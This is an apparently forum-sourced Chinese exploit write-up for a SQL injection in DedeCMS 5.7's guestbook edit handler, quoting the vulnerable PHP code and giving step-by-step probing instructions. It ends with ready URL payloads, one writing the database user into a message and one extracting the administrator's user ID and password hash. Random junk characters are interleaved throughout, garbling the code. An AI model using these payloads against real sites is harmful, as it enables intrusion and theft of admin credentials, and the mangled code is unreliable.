dedecms5.7最新sql注射漏洞利用 guestbook.php

admin

影响版本为5.7

漏洞文件edit.inc.php具体代码：
& b/ J* p0 T/ V2 i3 q. T) j4 A
< ?php  

if(!defined('DEDEINC')) exit('Request Error!');  
( |; a  m& @( z' i0 x6 a
   
  c- Y% ?+ A  M" V! y8 ?: n6 n
: m: A0 O0 s' G2 C/ S+ u9 R* Fif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
# G. D5 z, {/ l9 N4 q
else $GUEST_BOOK_POS = "guestbook.php";  
# i) J, u2 j! Y( u
: `2 M9 N$ D# L" ^6 F$ _+ Y   
1 g/ C. I2 K) Z. {) }( ^
$id = intval($id);  

if(empty($job)) $job='view';  
$ S  g' ~3 w2 u2 ~
   

if($job=='del' && $g_isadmin)  
' y4 Q' a4 {" }% p3 y
8 {) j( p8 \' ~* ]. `5 x{  
4 e0 ~7 P  j9 a6 {4 `8 W
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
: a& x. u' x) m$ Y
ShowMsg("成功删除一条留言！", $GUEST_BOOK_POS);  
) V* m# F/ Q0 a; D: B, [8 F9 b
exit();  

}  
+ A! V3 B- O) n" I0 `
else if($job=='check' && $g_isadmin)  
# G4 L# N' d& [# W
{  
8 C. N: A! |7 z# ^) h5 k( Z
3 p5 g: E% L2 J" I% s, X$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  

ShowMsg("成功审核一条留言！", $GUEST_BOOK_POS);  

- B+ c0 k" C) f9 I( \! Rexit();  

$ S$ f- q5 p0 ~3 \}  

! e" s2 q8 Y0 melse if($job=='editok')  

{  

$remsg = trim($remsg);  

if($remsg!='')  

* Z2 [6 H! L3 y1 |8 i: J3 K{  
; l+ C  i6 k# E& B
//管理员回复不过滤HTML By:Errorera blog:errs.cc  

7 H& E5 S2 n$ O" j& V  l: g* bif($g_isadmin)  
4 ]3 M% Y- T4 }. a7 w, R
2 j; h7 J; _( n& ?& Q# }: g$ a, F% l4 g{  

$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
$ d% G. F: n/ ~' c
6 u$ t+ T; R" r) E//$remsg <br /><font color=red>管理员回复：</font> }  

else

{  

$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
7 G* i5 |& R: s9 ?7 B; }
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  

9 u  ~- @5 S5 O- T1 r$ N$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
; D$ f5 E( T( q! U5 R
$msg = $oldmsg.$remsg;  

& y9 s$ C% k- {$ n; U& s5 V" U+ y}  

" _2 R( B% `, t, Z( R2 m' z5 e}  

  Y0 p+ G+ t2 X, d2 G+ `//这里没有对$msg过滤，导致可以任意注入了By:Errorera home:www.errs.cc  

: p( k2 P2 o- ]+ w" {6 [5 E, E$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
4 `* r4 z$ l0 x1 E. u; k- E
: b0 L' x& Y* z  |: C" ?% O$ j  LShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);  
& M, t, i2 B1 T% b8 X7 q" X% z
exit();  
1 E8 M* B6 r" j3 Q7 G4 N0 p
}  

//home:www.errs.cc  

+ w3 @- X8 v  L+ m) kif($g_isadmin)  

{  
- x  w2 x* V8 G: ?* J+ O- T( E
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  

, r: y/ D4 _7 n7 I7 |% {require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
; X: b9 H. \1 m$ l
}  

else

{  

$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  

4 f" e  u; o$ e9 G( d: Q) Prequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  

} 漏洞成功需要条件：
" L6 h- v4 y, L. H! M1. php magic_quotes_gpc=off
" M7 l/ T0 j, c7 [2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
  E  v" \! Y2 l: {0 O% v- q
) ?$ O0 A/ |$ c) O怎么判断是否存在漏洞：
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言，
8 V' v( i: M- ~6 y! t, W4 z" q然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
访问：

/ \5 V# C- b! [* U/ K4 w- Ywww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
, m* I, @- p7 W- B0 B跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证


明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
如果没有修改成功，那留言ID的内容还是以前的 那就证明漏洞可以利用。
那么再次访问
- U' w* H+ C* D9 c( \2 _
5 u) a* }5 ~4 y& k+ ^www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回，那条留言ID的内容就直接修改成了mysql 的user().
! A& h5 q1 v6 f# P
2 P1 H$ I" }6 F- ?大概利用就是这样，大家有兴趣的多研究下！！
4 O7 g$ \# f- A( [0 c- P% h
最后补充下，估计有人会说怎么暴管理后台帐户密码，你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)！！

# Y# T8 d3 h  b. C: e4 sview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='